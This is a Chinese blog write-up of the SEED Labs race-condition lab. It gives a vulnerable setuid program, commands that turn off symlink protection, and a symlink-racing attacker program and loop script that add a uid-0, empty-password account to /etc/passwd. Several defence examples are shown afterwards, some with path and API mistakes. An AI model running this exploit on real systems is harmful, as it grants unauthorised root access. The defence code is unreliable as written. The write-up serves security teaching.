[SEEDLab]競態條件漏洞(Race Condition Vulnerability)

wx_堃發表於2021-06-19

1. 初始設定

Ubuntu10之後的系統修復了漏洞,需要禁用保護措施
對於12.04的系統,我們可以使用

1
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0

對於比較常見的16.04的系統,可以使用

1
sudo sysctl -w fs.protected_symlinks=0

2. 含有“競態條件”漏洞的程式

下面的程式碼是含有“競態條件”漏洞的 C 語言程式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
int main()
{
 char * fn = "/tmp/XYZ";
 char buffer[60];
 FILE *fp;
 /* get user input */
 scanf("%50s", buffer );
 if(!access(fn, W_OK)){  ➀
     fp = fopen(fn, "a+");    ➁
     fwrite("\n", sizeof(char), 1, fp);
     fwrite(buffer, sizeof(char), strlen(buffer), fp);
     fclose(fp);
 }
 else printf("No permission \n");
}

➀和➁具有競爭條件漏洞。使用如下命令將其編譯,然後set-uid

1
2
3
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

此時,我們得到一個 Set-UID 應用程式(擁有 root 許可權);

程式將使用者輸入的字串附加到臨時檔案“/tmp/XYZ”的末尾。由於程式碼以 root 許可權執行,因此它會檢查真實使用者是否實際擁有檔案“/tmp/XYZ”的訪問許可權;這就是呼叫 access()函式的目的。
程式一旦確保真正的使用者確實有許可權,程式將開啟檔案並將使用者輸入的字串寫入檔案。
此程式中存在“競態條件”漏洞:由於檢查(access)和使用(fopen)之間的視窗,access 函式使用的檔案可能與 fopen 函式使用的檔案不同,即使它們具有相同的檔名“/tmp/XYZ”。
如果惡意攻擊者可以以某種方式使“/tmp/XYZ”成為指向“/etc/shadow”的符號連結,則攻擊者可以將使用者輸入追加到“/etc/shadow”中(請注意,程式以 root許可權執行,因此可以覆蓋任何檔案)。

任務 1:利用“競態條件”漏洞

有很多方法來利用 vulp.c 中的“競態條件”漏洞。一種方法是使用該漏洞將一些資訊附加到/etc/passwd 和/etc/shadow 檔案尾。如攻擊者可以向這兩個檔案新增資訊,他們基本上有能力建立新使用者,包括超級使用者(透過讓uid 為零)。

 

/etc/passwd檔案裡面儲存了我們系統的使用者和密碼等等資訊,我們檢視其中的兩條:

1
2
root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:seed,,,:/home/seed:/bin/bash

儘管passwd檔案裡面不會儲存密文,但是程式依舊會解析密文,因而我們可以新增密文進入。可以使用perl的crypt函式,為了方便,我們可以使用空密碼,執行:

1
perl -e 'print crypt("", "U6")."\n"'

得到"magic number":U6aMy0wojraho, crypt的第一個引數為明文,第二個為salt。
然後,我們可以建立這樣一個條目:

1
test:U6aMy0wojraho:0:0:test:/root:/bin/bash

編寫競爭程式attack_process.c:透過反覆將/tmp/XYZ指向無root許可權的/dev/null和有root許可權的/etc/passwd。usleep(1000)降低反覆執行的速率,逃避系統檢查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <unistd.h>
int main()
{
    while(1)
    {
        unlink("/tmp/XYZ");
        symlink("/dev/null","/tmp/XYZ");
        usleep(1000);
 
        unlink("/tmp/XYZ");
        symlink("/etc/passwd","/tmp/XYZ");
        usleep(1000);
    }
    return 0;
}
 
//編譯命令:gcc -o attack_process attack_process.c

由於需要多次執行攻擊和漏洞程式,因此編寫shell指令碼target_process.sh來自動執行攻擊過程。使用重定向避免手動輸入程式 vulp 的輸入。
以下 shell 指令碼檢查/etc/passwd檔案的時間戳是否已被修改。一旦發現變化,它會列印一條訊息。其中,passwd_input的內容為:test:U6aMy0wojraho:0:0:test:/root:/bin/bash

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
        ./vulp < passwd_input
        new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

執行target_process.sh指令碼需要在命令列輸入:

1
bash ./target_process.sh

我們一共需要執行兩個程式,一個是我們的victim:vulp,另一個則是我們的adversary:attack_process,正常情況之下,victim將會正常進行,輸出"No Permission",但是,在某個時間,可能發生如下情況:

  • /tmp/XYZ被attacker指向dev/null
  • victim執行到了access函式,因為/dev/null是全域性可寫(global writable),所以access判定為true;
  • 之後,attacker恰好將/tmp/XYZ指向了/etc/passwd;
  • victim執行了fopen,資訊被寫入etc/passwd,修改成功;

因而,我們可以得知相關幾個相關檔案的必須許可權:

  • /tmp/XYZ:連結檔案,我們必須可以讀寫此檔案。如果你以root許可權建立了連結,那麼有可能會一直報"No Permission";
  • /dev/null: 欺騙access的檔案,對此檔案我們必須具有寫許可權
  • /etc/passwd,我們試圖篡改的檔案

Then use su test, and enjoy your shell!

任務 2:保護機制 A:重複呼叫

消除程式的“競態條件”漏洞並不容易,因為程式需要“檢查-使用”模式做一些必要的檢查。為了增加“競態條件”利用的難度,我們可以增加更多的競賽條件,而不是消除“競態條件”。攻擊者想要達到自己的目的需要贏得所有這些“競態條件”。如果這些競爭條件設計得當,我們可以成倍減少攻擊者的獲勝機率。基本思想是多次重複呼叫 access()和 open();在最後一次開啟檔案寫入資料時,檢查我們每次開啟檔案是否是同一個檔案(它們應該是相同的)。

檢查-使用-重複方式

在幾個迭代內重複訪問和開啟。在下面的示例中,攻擊者需要贏得五個競態條件(1~2,2~3,3~4,4~5,5~6):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
 char * fn = "/tmp/XYZ";
 char buffer[60];
 FILE *fp;
 /* get user input */
 scanf("%50s", buffer );
if (access("tmp/XYZ", W_OK))
    goto error;
else
    fp = fopen(fn, "a+"); 
if (access("tmp/X", W_OK))
    goto error;
else
    fp = fopen(fn, "a+"); 
if (access("/tmp/XYZ", W_OK))
    goto error;
else
    fp = fopen(fn, "a+"); 
 
 if(!access(fn, W_OK)){ 
    sleep(1000);
     fp = fopen(fn, "a+");   
     fwrite("\n", sizeof(char), 1, fp);
     fwrite(buffer, sizeof(char), strlen(buffer), fp);
     fclose(fp);
 }
 else
 error:{
    printf("No permission \n");
 }
 return 0;
}
// Check whether f1, f2, and f3 has the same i-node (using fstat)

檢查-使用-再檢查方式

lstat(file, &result)可以獲取檔案狀態。如果檔案是個符號連結,它返回連結的狀態(不是連結指向的檔案)。在 TOCTOW 之前,我們可以使用它來檢查檔案狀態。接著在間隔之後,執行另一個檢查。如果結果不同,我們就檢測到了競態條件。讓我們看看下面的解決方案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
 char * fn = "/tmp/XYZ";
 char buffer[60];
 FILE *fp;
 /* get user input */
 scanf("%50s", buffer );
 struct stat statBefore, statAfter;
 
 lstat(fn, &statBefore);
 
 if(!access(fn, W_OK)){    /* the real UID has access right */
    fp = fopen(fn, "a+"); 
    lstat("/tmp/X", &statAfter);
 
    if (statAfter.st_ino == statBefore.st_ino){ 
        /* the I-node is still the same */
     fwrite("\n", sizeof(char), 1, fp);
     fwrite(buffer, sizeof(char), strlen(buffer), fp);
 
    }
    else{
        perror("Race Condition Attacks!");
    }
    fclose(fp);
 }
 
 return 0;
}

但是,上面的解決方案不能工作(open和第二個`lstat之間存在競態條件漏洞)。為了利用這個漏洞,攻擊者需要執行另個靜態條件攻擊,第一個在第二行和第三行之間,另一個在第三行和第四行之間。雖然贏得兩次競爭的可能性低於前面的情況,但還是可能的。

 

為了修復漏洞,我們打算在檔案描述符f上使用lstat,而不是在檔名稱上。雖然lstat不能這樣做,但是fstat可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
int main()
{
    struct stat statBefore, statAfter;
 
    lstat("/tmp/X", &statBefore);
    if (!access("/tmp/X", O_RDWR))   /* the real UID has access right */
    {
        int f = open("/tmp/X", O_RDWR);
        fstat(f, &statAfter);
        if (statAfter.st_ino == statBefore.st_ino)
        { /* the I-node is still the same */
            write_to_file(f);
        }
        else perror("Race Condition Attacks!");
    }
    else fprintf(stderr, "Permission denied\n");
}

任務 3:保護機制 B:系統自帶保護策略

Ubuntu 16.04 帶有一個內建的防禦“競態條件”攻擊的保護機制。
在此任務中,需要使用以下命令重新啟用此保護:

1
sudo sysctl -w fs.protected_symlinks=1

至於這種保護措施的原理,我們可以在官方文件裡面找到:
A long-standing class of security issues is the symlink-based time-of-check-time-of-use race, most commonly seen in world-writable directories like /tmp. The common method of exploitation of this flaw is to cross privilege boundaries when following a given symlink (i.e. a root process follows a symlink belonging to another user). For a likely incomplete list of hundreds of examples across the years, please see: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=/tmp
When set to “0”, symlink following behavior is unrestricted.
When set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.
This protection is based on the restrictions in Openwall and grsecurity.

任務 4:保護機制 C:使用最小特權原則

在使用access和open的程式中,我們知道open比我們想要的更加強大(它只檢查有效 UID),這就是我們需要使用access來確保我們沒有濫用許可權的原因。我們從競態條件攻擊中得到的啟示,就是這種檢查不是始終可靠。

 

另一個防止程式濫用許可權的方法,就是不要給予程式許可權。這就是最小許可權原則的本質:如果我們暫時不需要這個許可權,我們應該禁用他。如果我們永遠都不需要這個許可權,我們應該移除它。沒有了許可權,即使程式犯了一些錯誤,損失也會降低。

 

在 Unix 中,我們可以使用seteuid或者setuid系統呼叫,來開啟、禁用或刪除許可權。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* vulp.c fixed with least privilege principle */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main(){
    char * fn = "/tmp/XYZ";
     char buffer[60];
     FILE *fp;
 
    uid_t real_uid = getuid();
    uid_t eff_uid = geteuid();
    seteuid(real_uid);
 
    /* get user input */
    scanf("%50s", buffer );
 
    if(!access(fn, W_OK)){
        usleep(1000);
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else
        printf("No permission \n");
    seteuid(eff_uid);
    return 0;
}

相關文章